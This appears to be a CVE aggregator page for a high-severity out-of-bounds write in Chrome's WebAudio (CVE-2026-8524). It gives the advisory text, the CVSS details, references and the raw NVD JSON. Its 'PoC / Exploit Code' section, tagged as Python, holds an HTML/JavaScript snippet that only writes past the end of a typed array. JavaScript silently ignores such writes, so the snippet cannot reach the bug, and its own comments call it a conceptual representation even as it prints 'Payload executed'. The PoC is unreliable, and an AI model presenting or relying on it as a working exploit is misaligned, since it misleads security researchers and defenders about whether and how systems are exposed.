CVE-2026-8524

Description

Out of bounds write in WebAudio in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Google Chrome < 148.0.7778.168

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-8524 -->
<!-- This demonstrates the WebAudio context where the OOB write occurs -->
<!DOCTYPE html>
<html>
<body>
<script>
    // Attempt to trigger the vulnerability in WebAudio
    try {
        const audioCtx = new (window.AudioContext || window.webkitAudioContext)();
        
        // Create a buffer with specific parameters
        // In a real exploit, specific size and channel count trigger the OOB
        const bufferSize = 0x1000; 
        const buffer = audioCtx.createBuffer(1, bufferSize, audioCtx.sampleRate);
        
        // Access channel data
        const data = buffer.getChannelData(0);
        
        // Malicious loop attempting to write out of bounds
        // This is a conceptual representation
        for (let i = 0; i < bufferSize + 10; i++) {
            data[i] = 1.234; 
        }
        
        console.log("Payload executed");
    } catch (e) {
        console.log("Exception caught: " + e);
    }
</script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-8524
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-8524
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-8524/
[4] VulDB https://vuldb.com/cve/CVE-2026-8524
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
[6] https://issues.chromium.org/issues/499565267

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-8524", "sourceIdentifier": "[email protected]", "published": "2026-05-14T20:17:13.180", "lastModified": "2026-05-14T22:16:46.550", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Out of bounds write in WebAudio in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/499565267", "source": "[email protected]"}]}}